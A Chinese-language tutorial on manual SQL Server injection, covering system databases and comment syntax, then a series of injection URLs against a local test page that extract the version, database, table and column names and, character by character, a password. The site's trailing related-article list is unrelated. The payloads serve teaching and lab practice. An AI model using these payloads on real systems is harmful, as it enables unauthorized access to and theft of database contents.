安全库:http://www.seclibs.com/
网络安全爱好者的安全导航,专注收集信安、红队常用网站、工具和技术博客

目录

0x01 SQL server基础

0x02 基本注入

SQL server部分版本已被黑客安装后门,详情请在文末查看。

0x01 SQL server基础

在学习注入之前,最重要的是要先了解SQL server的具体的东西,才能更好的进行注入操作

系统库

master

master数据库控制SQLserver的所有方面,这个数据库中包含所有的配置信息、用户登陆信息、当前正在服务器运行中的过程的信息

model

model数据库是建立所有数据库时的模板,当你建立一个新数据库时,SQL server会把model数据库中的所有对象建立一份拷贝并移到新数据库中,在模板对象被拷贝到新的用户数据库之后,该数据库的所有多余空间都将被页面填满

tempdb

tempdb数据库是一个非常特殊的数据库,供所有来访问SQL server的用户使用,这个库用来保存所有的临时表、存储过程和其他SQLserver建立的临时用的东西,例如,排序时要用到tempdb数据库,数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL server重新启动,它都会清空tempdb数据库并重建,永远不要在tempdb数据库建立需要永久保存的表

msdb

msdb数据库是SQLserver中的一个特例,如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库,不同之处是SQLserver拿这个数据库用来做什么,所有的任务调度、报警、操作员都存储在msdb数据库中,该库的另一个功能是用来存储所有备份历史,SQL server agent将会使用这个库

information_schema

information_schema是在SQL server2000及更高版本存在的,可以检索数据库中的对象的元数据,与MySQL中的有相同的功能,它是符合ISO标准的,与sys不同,sys是微软自己搞出来的东西

注释方法

C语言注释风格    /*
SQL注释风格     --
空字节          ;

0x02 基本注入

首先我们先访问注入网址

http://127.0.0.1/index.php?id=1

这里我们模拟的SQL语句是这样的

$sql= "select * from test where id=".$id;

这里我们就先用1=1和1=2来做一个简单的判断

然后我们来尝试一下查看数据库版本

通过使用报错的方式将我们想要的值给带出来

http://127.0.0.1/index.php?id=1 and 1=(select @@version)

使用db_name()来查看数据库名

http://127.0.0.1/index.php?id=1 and 1=(select db_name())

等等可以获取到一些我们所需要的信息

接下来使用having字句来获取当前数据库的表名和列名

http://127.0.0.1 /index.php?id=1 having 1=1

然后我们继续使用上一个所得到的值来递归获取所有的名

http://127.0.0.1/index.php?id=1 group by test.id having 1=1

http://127.0.0.1/index.php?id=1 group by test.id,test.name having 1=1

http://127.0.0.1/index.php?id=1 group by test.id,test.name,test.password having 1=1

通过上面这样的方法,我们就已经得到了当前使用的数据库为test,其中的列有idnamepassword

然后我们注入password的数据

http://127.0.0.1/index.php?id=1 and (select top  1  unicode(substring(password,1,1)) from test)>=49

http://127.0.0.1/index.php?id=1 and (select top  1  unicode(substring(password,1,1)) from test)>=50

可以知道第一个为字符1

然后继续猜解第二个字符

http://127.0.0.1/index.php?id=1 and (select top  1  unicode(substring(password,2,1)) from test)>=50

http://127.0.0.1/index.php?id=1 and (select top  1  unicode(substring(password,2,1)) from test)>=51

可以得到第二个字符为2

依此类推得到最终的结果为123456

我们还可以通过注入获取到其他的数据库名称

http://127.0.0.1/index.php?id=1 and  1=(select top 1 name  from  master..sysdatabases)

但是由于只能输出一个字段的内容,所以这里使用where语句的not in来进行获取

http://127.0.0.1/index.php?id=1 and  1=(select top 1 name  from  master..sysdatabases where  name  not  in  ('master'))

得到了第二个数据库model。然后通过这样的方式继续往后遍历

http://127.0.0.1/index.php?id=1 and  1=(select top 1 name  from  master..sysdatabases where  name  not  in  ('master','model'))

继续遍历就可以了

http://127.0.0.1/index.php?id=1 and  1=(select top 1 name  from  master..sysdatabases where  name  not  in  ('master','model','msdb'))

在得到数据库test之后,我们使用information.schema来获取数据表

http://127.0.0.1/index.php?id=1 and 1=(select top 1 table_name from test.information_schema.tables)

这里我们只有一个表,如果有多个表的话,可以通过之前not in的方法来进行获取

到这里我们就已经知道了数据库为test,数据表也为test

接下来该获取字段了

http://127.0.0.1/index.php?id=1 and 1=(select top 1 column_name from test.information_schema.columns where table_name = 'test')

然后同样使用not in的方法可以遍历得到所有的列名

http://127.0.0.1/index.php?id=1 and 1=(select top 1 column_name from test.information_schema.columns where table_name = 'test' and column_name not in ('id'))

之后获取数据就跟之前的方法是一样的了

这篇文章只是一个简单的开头,至于更多的内容还需要大家来看,最后再给大家提一下刚爆出来的一个上游攻击的事件,SQL server部分版本已经被黑客组织植入后门程序skip-2.0,在安装了中招的SQL server之后,可以允许黑客不进行身份验证而直接进行登陆。

可以去FreeBuf了解其他详情

https://www.freebuf.com/news/217738.html

文章首发公众号:无心的梦呓(wuxinmengyi)

这是一个记录红队学习、信安笔记,个人成长的公众号

扫码关注即可

SQL server手工注入入门相关推荐

  1. SQL Server AlwaysON从入门到进阶(6)——分析和部署AlwaysOn Availability Group

    本文属于SQL Server AlwaysON从入门到进阶系列文章 前言: 本节是整个系列的重点文章,到现在,读者应该已经对整个高可用架构有一定的了解,知道独立的SQL Server实例和基于群集的S ...

  2. SQL Server审计功能入门:CDC(Change Data Capture)

    原文:SQL Server审计功能入门:CDC(Change Data Capture) 介绍 SQL Server 2008引入了CDC(Change Data Capture),它能记录: 1. ...

  3. SQL Server 2000从入门到精通3

    SQL Server 2000从入门到精通 SQL Server 2000的基本安全设置 转载于:https://blog.51cto.com/xwg999/38731

  4. ETL学习之四:SQL Server Integration Services入门

    ETL学习之四:SQL Server Integration Services入门 SSIS就是微软在SQL SERVER2005上对DTS的升级,不得不说,微软在BI上是花了很大功夫的,包括提供了S ...

  5. SQL Server AlwaysON从入门到进阶(1)——何为AlwaysON?

    本文属于SQL Server AlwaysON从入门到进阶系列文章 本文原文出自Stairway to AlwaysOn系列文章.根据工作需要在学习过程中顺带翻译以供参考.系列文章包含: SQL Se ...

  6. SQL Server AlwaysON从入门到进阶(3)——基础架构

    本文属于SQL Server AlwaysON从入门到进阶系列文章 前言: 本文将更加深入地讲解WSFC所需的核心组件.由于AlwaysOn和FCI都需要基于WSFC之上,因此我们首先要了解在Wind ...

  7. SQL Server AlwaysON从入门到进阶(2)——存储

    本文属于SQL Server AlwaysON从入门到进阶系列文章 前言: 本节讲解关于SQL Server 存储方面的内容,相对于其他小节而言这节比较短.本节会提供一些关于使用群集或者非群集系统过程 ...

  8. 《SQL Server 2019从入门到精通(视频教学超值版)》简介

    #好书推荐##好书奇遇季#数据库技术好书<SQL Server 2019从入门到精通(视频教学超值版)>京东当当天猫都有发售. 本书是面向SQL Server 2019初学者和广大数据库设 ...

  9. 《SQL Server 2008从入门到精通》--20180716

    1.锁 当多个用户同时对同一个数据进行修改时会产生并发问题,使用事务就可以解决这个问题.但是为了防止其他用户修改另一个还没完成的事务中的数据,就需要在事务中用到锁. SQL Server 2008提供 ...

最新文章

  1. 用Flutter + Dart快速构建一款绝美移动App
  2. SQL与NoSQL区别-存储规范
  3. 华为dra路由方式分为relay和proxy_华为云计算(3)——网络虚拟化
  4. 黑马程序员--学习while、do-while、for循环、try-catch的用法
  5. VTK:PolyData之ColorCells
  6. 快速排序以及基于快排思想的找前k个最大数
  7. Java常用数据类型
  8. Office 程序默认打开方式
  9. 已经被删除的PDF怎么用EasyRecovery恢复
  10. 阿里巴巴数据中台实践(PPT)
  11. Intouch System Platform IDE
  12. 如何批量将class文件反编译为java文件?
  13. Manjaro - Pacman命令详解
  14. 网络安全运营能力建设
  15. blowfish java_blowfish加密算法
  16. 【计算机组织与体系结构】实验二:给定指令系统的处理器设计
  17. zabbix服务端搭建
  18. 大数据入门之分布式计算框架Spark(3) -- Spark Streaming
  19. mysql查询表具体存在那个数据库
  20. 安庆师范大学c语言程序设计,安庆c语言编程学习,安庆学c语言编程培训,安庆学c语言编程一般能拿多少工资...

热门文章

  1. 数字信号处理——线性相位型(Ⅰ、Ⅲ型)FIR滤波器设计(1)
  2. 网站群技术:用一个平台管理集团所有下属网站,节省IT投入支持与运维管理成本
  3. 中国电信张鹏:高速移动互联网发展趋势
  4. 计算机知识讲座开场,知识讲座主持稿开场白四篇
  5. MS的.net讲座下载地址
  6. android studio build variants,Android Studio毕业生风格没有显示在Build Variants中
  7. 梦幻仙缘剧情java_梦幻仙缘新春版下载_梦幻仙缘最新新春版手游下载_玩游戏网...
  8. 第11章 人口政策
  9. 使用C语言实现一个虚拟机
  10. 大洋云服务器_网易云音乐TFBOYS线上演唱会破纪录,观看体验不输线下